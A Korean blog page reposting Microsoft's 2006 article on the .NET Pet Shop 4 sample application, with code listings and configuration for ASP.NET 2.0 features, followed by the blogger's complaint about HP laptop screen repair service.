달력

22025  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

닷넷 펫스토어 4

.NET/ASP.NET 2006. 4. 11. 15:24

http://msdn.microsoft.com/asp.net/default.aspx?pull=/library/en-us/dnbda/html/bdasamppet4.asp

 

Microsoft .NET Pet Shop 4: Migrating an ASP.NET 1.1 Application to 2.0

 

Gregory Leake
Microsoft Corporation

Alan Le, Alex Arkhipov, Mike Hanley, and Steve Nyholm
Vertigo Software, Inc.

February 2006

Applies to:
   Microsoft .NET Framework 2.0
   Microsoft Visual Studio 2005
   Microsoft Windows Server 2003
   Microsoft Internet Information Services
   Microsoft Message Queuing
   Microsoft SQL Server 2005
   Oracle 10g Database

Summary: The .NET Pet Shop application is designed to show the best practices for building enterprise, n-tier .NET 2.0 applications that may need to support a variety of database platforms and deployment scenarios. (25 printed pages)

Click here to download .NET Pet Shop 4.0.msi.

Contents

Executive Overview
Productivity
Migration from ASP.NET 1.1 to 2.0
Architecture
Abstract Factory Pattern
User Interface Enhancements
Encrypting Configuration Information
Model Objects
Order and Inventory Schema
Profile Database Schema
Conclusions

Executive Overview

The .NET Pet Shop application is designed to show the best practices for building enterprise, n-tier .NET 2.0 applications that may need to support a variety of database platforms and deployment scenarios.

The goals of the .NET Pet Shop 4 project are:

  1. Productivity: Reduce the amount of code from .NET Pet Shop 3—we achieved nearly 25 percent reduction.
  2. Migrate from ASP.NET 1.1 to 2.0: Leverage new features of ASP.NET 2.0—we took advantage of Master Pages, Membership, and Profile and designed a new, appealing user interface.

    Figure 1. The .NET PetShop 4.0

  3. Enterprise architecture: Build a flexible, best practice application—we implemented design patterns and separation of presentation, business, and data tiers.

Productivity

When compared to .NET Pet Shop 3, there is roughly 25 percent less code in .NET Pet Shop 4. The main gains in reducing lines of code are in the presentation layer and data access layer.

In the presentation layer, we reduced the code by roughly 25 percent. The sign-in and check-out steps are more compact than full ASP.NET pages and require less code and html. This is because the Wizard control natively handles the process flow code. Using the Master Page meant less html code and user controls to manage layout. Membership services handles authentication more succinctly than the Pet Shop 3 user management code.

We saw the biggest code savings in the data tier—36 percent. The account management code is replaced by the ASP.NET 2.0 SQL Membership Provider.

Table 1 gives a complete code count break down by tier.

Table 1. Code count comparison for .NET Pet Shop Version 3 versus Version 4

 v3v4
Presentation Layer1,8221,365
Model349395
Business Logic Layer210199
Data Access Layer1,538985
Total Lines of Code3,9192,944

This is further illustrated in the Figure 2.

Figure 2. Code Count Comparison Graph

.NET Pet Shop 4 introduces several new features, ranging from a custom ASP.NET 2.0 profile provider to asynchronous order processing with MSMQ. The code count for the new features is broken down in table 2:

Table 2. Code Count of New.NET Pet Shop 4 Features

Custom Profile853
Oracle Membership586
Cache Dependency90
Message Queue147
Total Lines of Code1,676

Migration from ASP.NET 1.1 to 2.0

To accomplish the goals for .NET Pet Shop 4, we devised the following plan:

  1. Use the Project Conversion Wizard to port the .NET Pet Shop 3.2 code base from ASP.NET 1.1 to ASP.NET 2.0.
  2. Map out the ASP.NET 2.0 features that we want to include.
  3. Implement an n-tier architecture that supports those features.

The Project Conversion Wizard

To start off, the Visual Studio.NET 2005 Project Conversion Wizard rapidly upgraded the .NET Pet Shop 3.2 code base. With this basic port we were able get a first glimpse at .NET Pet Shop 3.2 compiled and running on ASP.NET 2.0.

Changes Between Version 3 and Version 4

Based on moving the .NET Pet Shop 3.2 code base to run on the .NET Framework 2.0 and our research into ASP.NET 2.0, we came up with the following key features to implement in .NET Pet Shop 4.0:

  • System.Transactions instead of Serviced Components.
  • Generics for strongly typed collections instead of loosely typed ILists.
  • ASP.NET 2.0 Membership for user authentication and authorization.
  • Custom ASP.NET 2.0 Membership Provider for Oracle 10g.
  • ASP.NET 2.0 Custom Oracle and SQL Server Profile Providers for user state management.
  • Master Pages for consistent look and feel versus ASP.NET Web User Controls.
  • ASP.NET 2.0 Wizard control.
  • Database level cache invalidation using SqlCacheDependency instead of timeout based.
  • Enabling Asynchronous Order Processing built on message queuing.

What is System.Transactions?

System.Transactions is a new transaction control namespace in the .NET 2.0 Framework. It is a new way to handle distributed transactions without the overhead of COM+ registration and the COM+ catalog. Note that the Microsoft Distributed Transaction Coordinator is used to initiate the transactions.

See it in action

The Order.Insert() method in synchronous order processing uses System.Transactions to insert an order and update the inventory stock. We have implemented the Order.Insert() method by adding a reference to the System.Transaction namespace and wrapping the order insertion and inventory stock reduction methods inside of a TransactionScope, as shown in Code Listing 1.

Listing 1. System.Transactions in action

using System;using System.Transactions;using PetShop.IBLLStrategy;namespace PetShop.BLL { /// <summary> /// This is a synchronous implementation of IOrderStrategy /// By implementing IOrderStrategy interface, the developer can /// add a new order insert strategy without re-compiling the whole /// BLL. /// </summary> public class OrderSynchronous : IOrderStrategy { ... /// <summary> /// Inserts the order and updates the inventory stock within /// a transaction. /// </summary> /// <param name="order">All information about the order</param> public void Insert(PetShop.Model.OrderInfo order) { using (TransactionScope ts = new TransactionScope(TransactionScopeOption.Required)) { dal.Insert(order); // Update the inventory to reflect the current inventory // after the order submission. Inventory inventory = new Inventory(); inventory.TakeStock(order.LineItems); // Calling Complete commits the transaction. // Excluding this call by the end of TransactionScope's // scope will rollback the transaction. ts.Complete(); } } }}

In .NET Pet Shop 3, distributed transactions are handled by Enterprise Services and require COM+ registration. The OrderInsert class is derived from a Serviced Component and transactions are handled by COM+. The service component is then registered using the regsvr32 command.

Listing 2. Pet Shop 3 Order Insert

using System;using System.Collections;using System.EnterpriseServices;using System.Runtime.InteropServices;...namespace PetShop.BLL { /// <summary> /// A business component to manage the creation of orders /// Creation of an order requires a distributed transaction /// so the Order class derives from ServicedComponents /// </summary> [Transaction(System.EnterpriseServices.TransactionOption.Required)] [ClassInterface(ClassInterfaceType.AutoDispatch)] [ObjectPooling(MinPoolSize=4, MaxPoolSize=4)] [Guid("14E3573D-78C8-4220-9649-BA490DB7B78D")] public class OrderInsert : ServicedComponent { ... /// <summary> /// A method to insert a new order into the system /// The orderId will be generated within the method and should not /// be supplied as part of the order creation the inventory will be /// reduced by the quantity ordered. /// </summary> /// <param name="order">All the information about the order</param> /// <returns> /// The new orderId is returned in the order object /// </returns> [AutoComplete] public int Insert(OrderInfo order) { // Get an instance of the Order DAL using the DALFactory IOrder dal = PetShop.DALFactory.Order.Create(); // Call the insert method in the DAL to insert the header int orderId = dal.Insert(order); // Get an instance of the Inventory business component Inventory inventory = new Inventory(); inventory.TakeStock( order.LineItems); ... // Set the orderId so that it can be returned to the caller return orderId; } }}

Benefit of System.Transactions

Moving from Enterprise Services to System.Transactions simplifies deployment as it does not require the use of the COM+ Catalog. In using the COM+ Catalog we were carrying around a lot of extra weight for just distributed transaction support. System.Transaction makes it really simple to program and deploy distributed applications in ASP.NET 2.0 applications. System.Transactions is also up to 50 percent more performant at runtime, due to removing the overhead of COM+ catalog lookups for object instantiation. As a final benefit, System.Transactions is able to detect, when running against SQL Server 2005, when a distributed transaction is running against two different databases that are hosted on a single instance of SQL Server 2005. In this case, it is able to promote the distributed transaction to a local transaction, which avoids all overhead associated with distributed transaction logging/two phase commits, and significantly increases performance.

Generics

What are Generics?

Whenever a collection of Pet Shop model objects is returned, we use a collection list of the generic type for that object. This is a new feature of C# 2.0 known as Generics.

See it in Action

We can see Generics in action from the GetProductsByCategory method shown in Code Listing 3.

Listing 3. Product.cs (Pet Shop 4.0)

/// <summary> /// A method to retrieve products by category name /// </summary> /// <param name="category">The category name to search by</param> /// <returns>A Generic List of ProductInfo</returns> public IList<ProductInfo> GetProductsByCategory(string category) { // Return new if the string is empty if (string.IsNullOrEmpty(category)) return new List<ProductInfo>(); // Run a search against the data store return dal.GetProductsByCategory(category);}

Here is the equivalent code in Pet Shop 3 that returns an IList:

Listing 4. Product.cs (Pet Shop 3)

/// <summary> /// A method to retrieve products by category name /// </summary> /// <param name="category">The category name to search by</param> /// <returns> /// An interface to an arraylist of the search results /// </returns> public IList GetProductsByCategory(string category) { // Return null if the string is empty if (category.Trim() == string.Empty) return null; // Get an instance of the Product DAL using the DALFactory IProduct dal = PetShop.DALFactory.Product.Create(); // Run a search against the data store return dal.GetProductsByCategory(category); }

Benefits of Generics

Generics allow us to return strongly typed collections of objects as opposed to the IList collections in .NET Pet Shop 3. Generic strongly typed collections offer type safety, and perform better than regular collections. Additionally, Generic strongly typed collections will show up on Visual Studio 2005 Intellisense, which can increase developer productivity.

ASP.NET 2.0 Membership

Membership provides a common user authentication and management framework. .NET Pet Shop 4 uses the SQL Server Membership Provider when user information is stored in SQL Server and a custom Membership Provider when user information is stored in Oracle.

See it in Action

To implement Membership in .NET Pet Shop 4, the following steps are necessary:

  1. Configure forms authentication. <authentication mode="Forms"> <forms name="PetShopAuth" loginUrl="SignIn.aspx" protection="None" timeout="60"/> </authentication>
  2. To use the SQL Membership Provider, we had to install the membership database. The Membership database is created by ASP.NET when running the following command. %WinDir%\Microsoft.NET\Framework\<.NET version>\aspnet_regsql -S <server\instance> -E -A all -d MSPetShop4Services
  3. Configure the SQL Membership Provider. <membership defaultProvider="SQLMembershipProvider"> <providers> <add name="SQLMembershipProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="SQLMembershipConnString" applicationName=".NET Pet Shop 4.0" enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed"/> </providers> </membership>
  4. The ASP.NET Login control encapsulates all of the login logic. The CreateUserWizard control handles new user registration.

Benefit of ASP.NET 2.0 Membership

With Membership services, we are able to use pre-built user authentication and registration controls instead of writing them from scratch. The end result is less code to write for login, login status, user identity, user registration, and password recovery.

Also, since Membership now resides on its own database, we are able to remove the Accounts table that is used in .NET Pet Shop 3 and use the Membership services database created by ASP.NET 2.0.

Custom Membership Provider for Oracle 10g

The .NET 2.0 Framework includes a SQL Server Membership provider. In order to maintain user accounts when the application uses an Oracle membership database, we created a custom membership provider implementation for Oracle. We only implemented the methods that are used by .NET Pet Shop 4, which are the CreateUser method and the Login method. This code, however, can be used and/or extended by any customer that wants to use Oracle10G with the ASP.NET membership services.

See it in Action

The CreateUser method is one of the implemented methods of the MembershipProvider class. It provides insight into how the OracleMembershipProvider works.

Listing 5. OracleMembershipProvider.cs CreateUser(...)

using System;using System.Configuration.Provider;namespace PetShop.Membership {class OracleMembershipProvider : MembershipProvider { string password, string email, string passwordQuestion, string passwordAnswer, bool isApproved, object userId, out MembershipCreateStatus status) { // create connection OracleConnection connection = new OracleConnection(OracleHelper.ConnectionStringMembership); connection.Open(); OracleTransaction transaction = connection.BeginTransaction(IsolationLevel.ReadCommitted); try { DateTime dt = DateTime.Now; bool isUserNew = true; // Step 1: Check if the user exists in the Users // table: Create if not int uid = GetUserID(transaction, applicationId, username, true, false, dt, out isUserNew); if (uid == 0) { // User not created successfully! status = MembershipCreateStatus.ProviderError; return null; } // Step 2: Check if the user exists in the Membership table: Error // if yes if (IsUserInMembership(transaction, uid)) { status = MembershipCreateStatus.DuplicateUserName; return null; } // Step 3: Check if Email is duplicate if (IsEmailInMembership(transaction, email, applicationId)) { status = MembershipCreateStatus.DuplicateEmail; return null; } // Step 4: Create user in Membership table int pFormat = (int)passwordFormat; if (!InsertUser(transaction, uid, email, pass, pFormat, salt, "", "", isApproved, dt)) { status = MembershipCreateStatus.ProviderError; return null; } // Step 5: Update activity date if user is not new if(!isUserNew) { if(!UpdateLastActivityDate(transaction, uid, dt)) { status = MembershipCreateStatus.ProviderError; return null; } } status = MembershipCreateStatus.Success; return new MembershipUser(this.Name, username, uid, email, passwordQuestion, null, isApproved, false, dt, dt, dt, dt, DateTime.MinValue); } catch(Exception) { if(status == MembershipCreateStatus.Success) status = MembershipCreateStatus.ProviderError; throw; } finally { if(status == MembershipCreateStatus.Success) transaction.Commit(); else transaction.Rollback(); connection.Close(); connection.Dispose(); }}

The unimplemented methods are left as empty stubs like so:

public override string GetUserNameByEmail(string email) { throw new Exception("The method or operation is not implemented.");}

Benefit of Membership Provider for Oracle 10g

We have implemented a custom Membership Provider since we want .NET Pet Shop 4 to store membership data in an Oracle database as well as in SQL Server. The provider model gives us the ability to integrate Oracle databases with ASP.NET 2.0 Membership Services simply and quickly.

ASP.NET 2.0 Profile

In ASP.NET 2.0, user information can be stored across multiple visits to a Web application in a new service called Profile. The Profile implementation for.NET Pet Shop 4 stores and retrieves users' shopping carts, wish lists, and account information. One key point here is that many customers will find that this can replace their use of the session object almost completely, providing a transacted, cluster-safe store for user session information. By default, the Profile service serializes the data as a BLOB that it stores into the database. However, higher performance can be achieved by implementing your own profile service serialization service. For PetShop 4, a custom implementation of the Profile service was created to reduce the serialization overhead.

See it in Action

  1. Configure the Profile Providers.

    Listing 6. Profile Provider Configuration

    <profile automaticSaveEnabled="false" defaultProvider="ShoppingCartProvider"> <providers> <add name="ShoppingCartProvider" connectionStringName="SQLProfileConnString" type="PetShop.Profile.PetShopProfileProvider" applicationName=".NET Pet Shop 4.0"/> <add name="WishListProvider" connectionStringName="SQLProfileConnString" type="PetShop.Profile.PetShopProfileProvider" applicationName=".NET Pet Shop 4.0"/> <add name="AccountInfoProvider" connectionStringName="SQLProfileConnString" type="PetShop.Profile.PetShopProfileProvider" applicationName=".NET Pet Shop 4.0"/> </providers> <properties> <add name="ShoppingCart" type="PetShop.BLL.Cart" allowAnonymous="true" provider="ShoppingCartProvider"/> <add name="WishList" type="PetShop.BLL.Cart" allowAnonymous="true" provider="WishListProvider"/> <add name="AccountInfo" type="PetShop.Model.AddressInfo" allowAnonymous="false" provider="AccountInfoProvider"/> </properties></profile>
  2. Migrate the Anonymous Profile.

    Listing 7. Migrating Anonymous Profiles

    // Carry over profile property values from an anonymous to an // authenticated state void Profile_MigrateAnonymous(Object sender, ProfileMigrateEventArgs e) { ProfileCommon anonProfile = Profile.GetProfile(e.AnonymousID); // Merge anonymous shopping cart items to the authenticated // shopping cart items foreach (CartItemInfo cartItem in anonProfile.ShoppingCart.CartItems) Profile.ShoppingCart.Add(cartItem); // Merge anonymous wishlist items to the authenticated wishlist // items foreach (CartItemInfo cartItem in anonProfile.WishList.CartItems) Profile.WishList.Add(cartItem); // Clean up anonymous profile ProfileManager.DeleteProfile(e.AnonymousID); AnonymousIdentificationModule.ClearAnonymousIdentifier(); // Save profile Profile.Save();}

    Listing 8. Shopping Cart

    using System;using System.Collections.Generic;using PetShop.Model;namespace PetShop.BLL { /// <summary> /// An object to represent a customer's shopping cart. /// This class is also used to keep track of customer's wish list. /// </summary> [Serializable] public class Cart { // Internal storage for a cart private Dictionary<string, CartItemInfo> cartItems = new Dictionary<string, CartItemInfo>(); /// <summary> /// Calculate the total for all the cartItems in the Cart /// </summary> public decimal Total { get { decimal total = 0; foreach (CartItemInfo item in cartItems.Values) total += item.Price * item.Quantity; return total; } } /// <summary> /// Update the quantity for item that exists in the cart /// </summary> /// <param name="itemId">Item Id</param> /// <param name="qty">Quantity</param> public void SetQuantity(string itemId, int qty) { cartItems[itemId].Quantity = qty; } /// <summary> /// Return the number of unique items in cart /// </summary> public int Count { get { return cartItems.Count; } } /// <summary> /// Add an item to the cart. /// When ItemId to be added has already existed, this method /// will update the quantity instead. /// </summary> /// <param name="itemId">Item Id of item to add</param> public void Add(string itemId) { CartItemInfo cartItem; if (!cartItems.TryGetValue(itemId, out cartItem)) { Item item = new Item(); ItemInfo data = item.GetItem(itemId); if (data != null) { CartItemInfo newItem = new CartItemInfo(itemId, data.ProductName, 1, (decimal)data.Price, data.Name, data.CategoryId, data.ProductId); cartItems.Add(itemId, newItem); } } else cartItem.Quantity++; } /// <summary> /// Add an item to the cart. /// When ItemId to be added has already existed, this method /// will update the quantity instead. /// </summary> /// <param name="item">Item to add</param> public void Add(CartItemInfo item) { CartItemInfo cartItem; if (!cartItems.TryGetValue(item.ItemId, out cartItem)) cartItems.Add(item.ItemId, item); else cartItem.Quantity += item.Quantity; } /// <summary> /// Remove item from the cart based on itemId /// </summary> /// <param name="itemId">ItemId of item to remove</param> public void Remove(string itemId) { cartItems.Remove(itemId); } /// <summary> /// Returns all items in the cart. Useful for looping through /// the cart. /// </summary> /// <returns>Collection of CartItemInfo</returns> public ICollection<CartItemInfo> CartItems { get { return cartItems.Values; } } /// <summary> /// Method to convert all cart items to order line items /// </summary> /// <returns>A new array of order line items</returns> public LineItemInfo[] GetOrderLineItems() { LineItemInfo[] orderLineItems = new LineItemInfo[cartItems.Count]; int lineNum = 0; foreach (CartItemInfo item in cartItems.Values) orderLineItems[lineNum] = new LineItemInfo(item.ItemId, item.Name, ++lineNum, item.Quantity, item.Price); return orderLineItems; } /// <summary> /// Clear the cart /// </summary> public void Clear() { cartItems.Clear(); } }}

Benefit of the ASP.NET 2.0 Profile

With ASP.NET 2.0, users' shopping carts are stored in a database and are persisted, so that if users come back 2-3 days later, they still have their cart. Additionally, the Profile service is "on demand," whereas session state objects get re-loaded per page on any page that references it; an advantage of Profile service is that it does not get loaded unless it's actually needed.

Furthermore, using the Profile feature we are able to remove Account and Profile tables from the existing Pet Shop 3 database—and this resulted in fewer lines of code in the Business Logic and Data Access Layers, as well.

Master Page

ASP.NET 2.0 provides a new technique for maintaining a consistent look and feel for an entire Web site by using a Master Page. The .NET Pet Shop 4 Master Page contains the header, LoginView control, navigation menu, and HTML for rendering content. All of the other Pet Shop Web forms are wired to use the Pet Shop 4 Master Page.

See it in Action

The .NET Pet Shop 4 Master Page is depicted in figure 3.

Figure 3. .NET Pet Shop 4 Master Page

Listing 9. Master Page wire-up

<%@ Page AutoEventWireup="true" Language="C#" MasterPageFile="~/MasterPage.master" Title="Products" Inherits="PetShop.Web.Products" CodeFile="~/Products.aspx.cs" %>

Benefit of ASP.NET 2.0 Master Pages

Using the Master Page, we are able to simply create a single layout that we can reuse for all of the .NET Pet Shop pages. Any changes to the layout during development are made directly to the Master Page, leaving the other pages simply for content. In contrast, the user interface in .NET Pet Shop 3 is implemented by encapsulating the header and navigation bar within an ASP.NET User Control called NavBar.ascx. Each of the Web forms in .NET Pet Shop 3 contain the NavBar user control as well as HTML to control the layout. Changing the layout would involve fumbling with the NavBar user control or modifying the HTML on each of the Web forms.

ASP.NET 2.0 Wizard Control

The check-out process in .NET Pet Shop 4 is contained within a single Wizard control that resides on the CheckOut page. The Wizard is a new control that provides a simple way to implement a step-by-step process. The Wizard control manages the navigation between forms, the data persistence, and the state management in each step.

See it in Action

Click here for larger image

Figure 4. Check-out Wizard control

Benefit of the ASP.NET 2.0 Wizard Control (Click on the image for a larger picture)

The process of checking out in .NET Pet Shop 3 involves a series of ASP.NET pages that communicate with each other. From the shopping cart, the user can go to the check-out page; from there, users enter their billing information and finally the order is processed. The flow is controlled by a custom class called CartController, which manages the communication between the steps using Session State.

Figure 5. .NET Pet Shop 3 Checkout Process

The Wizard Control makes implementing the checkout very simple in .NET Pet Shop 4 with less code.

Database Level Cache Invalidation

New to ASP.NET 2.0 is the SQL Cache Dependency object that can be used to invalidate the cache when the data from SQL Server has been changed. Pet Shop 4 uses the SQL Cache Dependency object for invalidating the Category, Products, and Item caches.

Out of the box, Pet Shop includes only the implementation for table-based cache dependency. Developers can implement their own caching invalidation mechanisms by extending the CacheDependency object. Once implemented, the CacheDependency for Pet Shop 4 can be configured from web.config.

Note that the SQL CacheDependency for Pet Shop 4 is only designed to run against SQL Server. For Oracle, .NET Pet Shop 4 will fall back to time-based cache expiration.

See it in Action

The cache dependency for SQL Server is shown in figure 6:

Figure 6. Pet Shop Table Cache Dependency

Benefit of Database Level Cache Invalidation

With cache invalidation we can keep presented content consistent with the data in the Pet Shop databases, yet still realize the benefits of object caching on the middle tier to reduce runtime processing requirements on the middle tier, and reduce database calls. This increases application scalability (it can handle more concurrent users), while also reducing load on the database.

Asynchronous Order Processing

One of the other changes that we have made is adding an option to configure whether the ordering process should commit the transactions directly (synchronously) to the databases or to a designated queue in which the orders will be processed at a later point (Asynchronous). In asynchronous order processing, when a user place an order, it goes to a queue. .NET Pet Shop 4 has an implementation for storing in Microsoft Messaging Queue (MSMQ). This queue of orders can be processed later by the Order Processor console app. An advantage of this approach is that the orders database does not even have to be running for customers to still be able to place orders. Since MSMQ is using a durable queue, all orders are still captured with no interruption for users, and will be inserted into the database once the processing application and the orders database come online again.

See it in Action

To handle the algorithm variations between synchronous and asynchronous order processing, we use the Strategy Pattern. In the Strategy Pattern, the order placement method is decoupled from the BLL.Order.Insert method. Based on the web.config setting for OrderStrategy, the corresponding Insert method is used instead. By default, the .NET Pet Shop is configured to work synchronously.

To configure the Order Strategy, change the OrderStrategyClass value from OrderSynchronous to OrderAsynchronous. In addition, for asynchronous order processing, MSMQ must be enabled with a private queue created for Pet Shop, as shown here.

<add key="OrderStrategyClass" value="PetShop.BLL.OrderSynchronous"/> <add key="OrderQueuePath" value="private queue path"/>

Synchronous Order Placement

Figure 7 depicts synchronous order placement. When users check out their orders, the checkout button click event handler calls the Order Insert method within the BLL. For synchronous order placement, the BLL Order object uses the OrderSynchronous Insert method to insert a new order into the Orders database and then update the Inventory database to reflect the current inventory after the order has completed submission.

Figure 7. Synchronous order placement

Asynchronous Order Placement

Figure 8 depicts asynchronous order placement. On the Web site, when the user clicks the CheckOut button, the BLL Order Insert method is called. However, since the OrderStrategy is configured for Asynchronous, the OrderAsynchronous strategy is used. The OrderAsynchronous insert method plainly sends the order info to a queue.

Figure 8. Asynchronous Order Placement

Order Processor

The Order Processor is a console application that we created to receive the orders that are in the Messaging implementation and transcribe these orders into the Order and Inventory databases. The Order Processor works multi-threaded, and processes orders in batches. It re-uses the Synchronous order strategy to insert the new order into the Orders database and to decrement the Inventory database.

Benefit of Asynchronous Order Processing

Processing orders asynchronously can be found in many other enterprise applications. De-coupling the order process is one way we made .NET Pet Shop 4 perform better as the orders are processed in multi-threaded fashion.

Architecture

As with the previous versions of the .NET Pet Shop, the architecture focuses on a clean separation between user interface, application logic, and data. This clean separation allows us to change an implementation in one layer without affecting the other layers. For example, we can change the database vendor without having to change the business logic code.

The diagram in figure 9 depicts the high-level logical architecture for .NET Pet Shop 4. The Presentation Layer (WEB) contains the various user interface elements. The Business Logic Layer (BLL) holds the application logic and business components. The Data Access Layer (DAL) is responsible for interacting with the databases for data storage and retrieval. Each of the tiers will be discussed in more detail in the following sections.

Click here for larger image

Figure 9. Architecture diagram of .NET Pet Shop 4 (Click on the image for a larger picture)

Abstract Factory Pattern

.NET Pet Shop 4 uses the Abstract Factory Design Pattern, in which interfaces are used to create families of related or dependent objects without specifying their concrete classes. One example of this pattern is within the Data Access Layer tier, which has projects for IDAL, DAL Factory, Oracle DAL, and SQL Server DAL. Abstract factories are created for caching, inventory and orders data access, messaging, and profile data access.

Presentation Layer

ASP.NET 2.0 includes many built-in features that increase developer productivity. In building .NET Pet Shop 4, we have redesigned the user interface to take advantage of the new features that ASP.NET 2.0 provides, such as Master Pages, Themes, Skins, Wizard control, and Login control. To maintain the user accounts, we utilize the Membership provider instead of using ASP.NET Session state to store users' shopping carts and favorite products. The new Profile provider can store a strongly typed shopping cart that makes programming and managing user state much easier. Using all of these features, we are able to quickly implement the Pet Shop presentation layer changes.

User Interface Enhancements

.NET Pet Shop 4 sports a clean new look and feel. The new user interface supports a larger pets catalog and makes it easier for users to find and purchase the various new pets. When we changed the look and feel of the .NET Pet Shop user interface, we had fun with the sample pets available from the .NET Pet Shop. The .NET Pet Shop now houses penguins, bugs, pandas, and even skeletons, dinosaurs, and transparent cats! We also improve the shopping experience by adding a wish list, breadcrumb trail, and other subtleties.

Encrypting Configuration Information

The .NET Framework 2.0 introduces a protected configuration feature that we used to encrypt connection strings. With this feature we can encrypt the sensitive database username and password information.

The .NET Pet Shop Installer will automatically run a script to encrypt the connection strings stored within the web.config file when you select the "full source and database install" option.

To perform the configuration encryption on the "source only" install, run the EncryptWebConfig.bat file found in the installed directory.

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -pef "connectionStrings" "C:\Program Files\Microsoft\.NET Pet Shop 4.0\Web"

Business Logic Layer

The business logic for.NET Pet Shop 4 retains much of the business logic from the .NET Pet Shop 3, such as Model objects and how they are used. The few changes are the use of Generics, asynchronous order placement, and the System.Transactions namespace.

Model Objects

.NET Pet Shop 4 carries over Model objects from .NET Pet Shop 3. These objects are custom lightweight classes that mimic the structure of database tables. These objects are shared across the application layers as a way to communicate with each other. For example, when returning multiple products in a category, we are returning a collection of Product Model objects.

Data Access Layer

The BLL communicates with the Data Access Layer to access data from the Pet Shop 4 databases. .NET Pet Shop 4 uses four databases: Inventory, Orders, Membership, and Profile. As with .NET Pet Shop 3, this version supports both Oracle and SQL Server databases.

Order and Inventory Schema

The database schema for Orders and Inventory used in the .NET Pet Shop 4 is ported from the .NET Pet Shop 3. A few fields that are not used are removed. The databases have the following overall structure of tables:

Figure 10. Pet Shop Orders Database

Figure 11. Pet Shop Inventory Database

Profile Database Schema

The Profile database is used to store user specific information, such as account info and shopping cart contents. The database has the following overall structure of tables:

Figure 12. Pet Shop Profile Database

Conclusions

The Microsoft .NET Pet Shop 4.0 application serves to highlight the key technologies and architecture that can be used to build scalable enterprise Web applications. Due to the enhancements in ASP.NET 2.0, we are able to build an n-tier enterprise application more quickly, allowing us to spend time building a richer and more fully featured Pet Shop.

The key changes and new features of .NET 2.0 we targeted were:

  • System.Transactions: Allows faster processing of transactions and easier deployment without use of the COM+ catalog.
  • Generics: Allows us to return strongly typed collections of objects as opposed to the IList collections in .NET Pet Shop 3. Enables easier coding since Intellisense will recognize the typed objects in the collection.
  • ASP.NET 2.0 Membership Service: Provides a common user authentication and management framework that can dramatically reduce code associated with creating and maintaining user account information. Allowed us to use pre-built user authentication and registration controls instead of writing them from scratch. The end result is less code to write for login, login status, user identity, user registration, and password recovery.
  • ASP.NET 2.0 Profile Service: Replaces use of the session object for user-specific information such as the shopping cart. Provides a transacted, cluster-safe store for user session information that can be maintained across multiple user visits to the site.
  • ASP.NET 2.0 Master Page: Provides a new technique for maintaining a consistent look and feel for an entire Web site, and makes it easy to apply global changes to the look and feel of a site across many pages simply by updating the Master Page.
  • ASP.NET 2.0 Wizard Control: A new server-side control that provides a simple way to implement a step-by-step process. We used it to reduce the amount of coding in the checkout process for Pet Shop 4.0.
  • ASP.NET 2.0 is the SQL Cache Dependency: Allows middle-tier object caches to be invalidated automatically as backend database information changes. This will work with SQL 2000 at the table level (as we did with PetShop 4), and with SQL Server 2005 it can also work at the individual row level. With this feature, cached database information can always be kept up to date while still taking advantage of caching to reduce load on middle-tier and database servers.
  • Asynchronous Order Processing Option via Messaging: While not a .NET 2.0 feature (also available in .NET 1.1), we extended PetShop 4 with the ability to optionally use messaging via MSMQ and System.Messaging versus using standard synchronous transactions directly to the database. This decouples the order process for the orders database, providing an added degree of reliability and potentially scalability.
Posted by tornado
|


Posted by tornado
|

내가 사용하는 노트북은 HP 제품이다.

 

개인적으로 amd 매니아 라고 느끼고 있기 때문에(?) 노트북도 amd 로 샀다.

 

amd 라는 이유로 HP 라는 상표를 산거나 마찬가지다.

 

지금 이 노트북으로 개발도 하고, 오락두 하고, 웹서핑도 하고 잘 사용한다.

 

그러나!!

 

액정이 정말 후졌다.

 

해상도는 1400 * 1050 까지 나온다.

 

하지만 액정이 뿌옇다. 

 

백지에 모래를 뿌려놓은듯한 느낌이고,  xnote 나 삼보꺼에 비하면 좀 어두워서 불편하다.

 

그래서 a/s 센타(강북지점. 용산에 위치)에 문의한 결과 가져와 보란다.

 

토요일날 가져갔더니 접수받는 직원왈

 

"토요일이니까 물건 맡기고 월요일날 찾아가세요" 라고 말한다.

 

내가 뭘 어떻게 할지도 모르고 맡기고 가라고 말한다.

 

기분 팍~! 상해서 한마디 해줬다.

 

"아저씨. 내가 지금 뭐하러 왔는지 알아요? 상담도 안하고 맡기라구요? 지금 근무시간 아닙니까?"

 

얼굴색 변하더니, 증상이 어떠냐구 물어본다.

 

액정이 좀 어두워서 그러니까 좀 밝게 해주던지, 액정을 교체해 달라고 하니,

 

노트북을 들고 사무실 안으로 들어갔다가 금새 나왔다.

 

그리고 한마디.

 

"좀 어둡네요. 맡기고 가세요. 월요일날 택배로 부쳐드릴께요"

 

일해야 하기때문에 안된다고 하니, 방문 서비스 받으란다.

 

해서리 월요일날 방문서비스 신청하고, 화요일 오후 2시에 방문하겠다고 약속 잡고,

 

a/s 아저씨한테 전화도 왔다.

 

"오후 2시에 방문드리겠습니다"

 

화요일 오후 2시가 넘어서 전화도 없고~ 방문도 안하고~~

 

4시 가까이 되어서 전화가 왔다.  앞집에서 시간이 오래걸려서 늦었다~~ 지금 가겠다~~

 

살짝 기분나빴지만 얼른 오세요~ 하고 끊고나서 a/s 아저씨가 왔다.

 

제품 딱 보더니, 어디다가 전화를 한다.

 

"여보세요~  제품이 nx 6125 인데, 이 제품 액정이 원래 어둡죠?  어쩌구 저쩌구..."

 

하더니 나한테 "이 제품은 원래 밝기가 이정도 이고, 액정 교체해두 똑같다~"

 

이렇게 말하네 ㅡㅡ;

 

그럼 조금 어둡다고 얘기한 센터 직원은 뭐야.

 

조금 기분나빠지기 시작.

 

그리고 액정을 한번 갈아볼테니까, 비슷한지 한번 비교해 보란다.

 

액정교체하고 비교해보니, 그넘이 그넘.

 

원상태로 해달라고 하고, 아저씨는 갔다.

 

서비스 센터 전화해서 자초지종 얘기하니 "조정 가능할것 같으니까 가져오세요" 라고 말했다.

 

주중에 가기는 뭐해서 몇일 동안 그냥 쓰다가 토요일 아침 9시에 용산 서비스 센터로 방문했다.

 

먼저 무책임한 그 젊은 아저씨가 또 접수를 받는다.

 

